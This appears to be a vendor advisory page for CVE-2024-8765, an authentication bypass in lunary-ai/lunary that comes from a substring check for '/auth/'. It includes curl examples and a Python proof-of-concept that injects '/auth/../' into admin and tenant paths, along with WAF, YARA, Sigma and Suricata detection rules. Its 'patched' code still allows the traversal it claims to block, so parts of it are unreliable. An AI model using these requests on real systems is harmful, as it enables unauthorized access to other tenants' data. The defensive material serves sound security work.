CVE-2024-8765
Executive Summary
CVE-2024-8765 is a critical authentication bypass vulnerability in the lunary-ai/lunary project, specifically in commit afc5df4. The flaw lies in a flawed privilege check mechanism that incorrectly treats any endpoint containing the string /auth/ anywhere in its path as a public endpoint. This allows unauthenticated attackers to access sensitive endpoints by simply including /auth/ in the URL path. The vulnerability enables attackers to obtain and modify sensitive data, as well as utilize other organizations' resources without proper authentication. The CVSS score is 7.3 (High), and no patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the lunary-ai/lunary project, which is an open-source AI observability and monitoring platform. As a Python-based project, it may be distributed via PyPI. Users should verify the integrity of their installations and monitor for any malicious packages that may exploit this vulnerability. The lack of a patch increases the risk of supply chain attacks if the vulnerable component is used as a dependency.
CVSS Breakdown & Threat Level
- CVSS Score: 7.3 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
The vulnerability is easily exploitable over the network without authentication, making it a high-priority threat. The primary impact is on data confidentiality, with some potential for data modification.
Deep Dive & Mechanics
The vulnerability stems from a flawed privilege check mechanism in the lunary-ai/lunary application. The code likely uses a string matching function to determine if a request is for a public endpoint. The flawed logic checks if the path contains the substring /auth/ anywhere, rather than checking if the path starts with /auth/ or matches a specific pattern.
For example, a legitimate public endpoint might be /auth/login, but an attacker can craft a path like /api/sensitive-data/auth/ or /auth/../api/admin. Because the path contains /auth/, the system incorrectly treats it as a public endpoint, bypassing authentication.
This allows unauthenticated attackers to:
- Access sensitive data from other organizations (multi-tenant environment)
- Modify data without authorization
- Utilize resources (e.g., compute, storage) belonging to other tenants
The vulnerability is particularly dangerous in a multi-tenant SaaS environment where data isolation is critical.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
def is_public_endpoint(path):
# Flawed: checks if '/auth/' is anywhere in the path
if '/auth/' in path:
return True
return False
Patched Code (Conceptual):
def is_public_endpoint(path):
# Correct: checks if path starts with '/auth/'
if path.startswith('/auth/'):
return True
return False
The patched version ensures that only endpoints that actually begin with /auth/ are treated as public, preventing path traversal or injection attacks.
Exploitation & Lab Setup
Red Team
Exploitation Steps:
- Identify the target: A lunary-ai instance running commit
afc5df4. - Craft a malicious path: Include
/auth/in the path to a sensitive endpoint.- Example:
https://target.com/api/admin/auth/users - Example:
https://target.com/auth/../api/sensitive-data
- Example:
- Send an unauthenticated request:
curl -X GET "https://target.com/api/admin/auth/users" -H "Host: target.com" - Access sensitive data: The server will treat the request as public and return data without authentication.
Proof of Concept (PoC) Script:
import requests
target = "https://target.com"
sensitive_endpoints = [
"/api/admin/users",
"/api/admin/config",
"/api/org/other-org/data"
]
for endpoint in sensitive_endpoints:
# Inject '/auth/' into the path
malicious_path = f"/auth/../{endpoint.lstrip('/')}"
url = target + malicious_path
response = requests.get(url)
if response.status_code == 200:
print(f"[+] Accessible: {url}")
print(response.text[:200])
else:
print(f"[-] Blocked: {url}")
Blue Team
Detection and Mitigation:
- Monitor for unusual path patterns: Look for requests containing
/auth/in unexpected locations (e.g.,/api/auth/../admin). - Implement strict path validation: Ensure that authentication checks are based on the actual endpoint, not substring matching.
- Use a Web Application Firewall (WAF): Create rules to block requests with suspicious path traversal patterns.
- Audit access logs: Review logs for unauthenticated access to sensitive endpoints.
WAF Rule (ModSecurity):
SecRule REQUEST_URI "@contains /auth/" "id:1001,phase:1,deny,status:403,msg:'Suspicious auth bypass attempt'"
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests with paths containing
/auth/in non-standard locations (e.g.,/api/auth/../admin) - Unauthenticated access to endpoints that should require authentication
- Multiple requests to different endpoints with
/auth/injection
- HTTP requests with paths containing
Log IOCs:
- Access logs showing 200 responses for unauthenticated requests to sensitive endpoints
- Error logs showing failed authentication attempts followed by successful access via
/auth/injection
File IOCs:
- Modified configuration files (e.g., unauthorized changes to user permissions)
- Unauthorized data exports or API calls
Detection Engineering
YARA Rule
rule CVE_2024_8765_Auth_Bypass {
meta:
description = "Detects attempts to exploit CVE-2024-8765 authentication bypass in lunary-ai"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-8765"
strings:
$path_injection = /\/auth\/[^\/]*\/\.\.\// nocase
$path_contains = /\/[^\/]*\/auth\/[^\/]*/ nocase
condition:
any of them
}
Sigma Rule
title: CVE-2024-8765 Authentication Bypass Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-8765 by injecting '/auth/' into the path
author: Valters IT
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains: '/auth/'
filter:
cs-uri-query|startswith: '/auth/'
condition: selection and not filter
falsepositives:
- Legitimate use of '/auth/' in paths (e.g., '/auth/login')
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-8765 Authentication Bypass Attempt"; flow:to_server; content:"/auth/"; http_uri; pcre:"/\/auth\/[^\/]*\/\.\.\//i"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate vulnerable instances: If possible, restrict network access to the lunary-ai instance until a patch is applied.
- Implement a WAF: Deploy a Web Application Firewall with rules to block suspicious path patterns.
- Monitor logs: Actively monitor access logs for signs of exploitation.
Long-term Fix:
- Apply the patch: Update to a version where the authentication check is corrected (check for
/auth/at the start of the path only). - Code review: Conduct a thorough code review of all authentication and authorization mechanisms.
- Security testing: Perform penetration testing to identify similar vulnerabilities.
Workaround:
- Modify the authentication middleware to use strict path matching (e.g.,
path.startswith('/auth/')) instead of substring matching.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.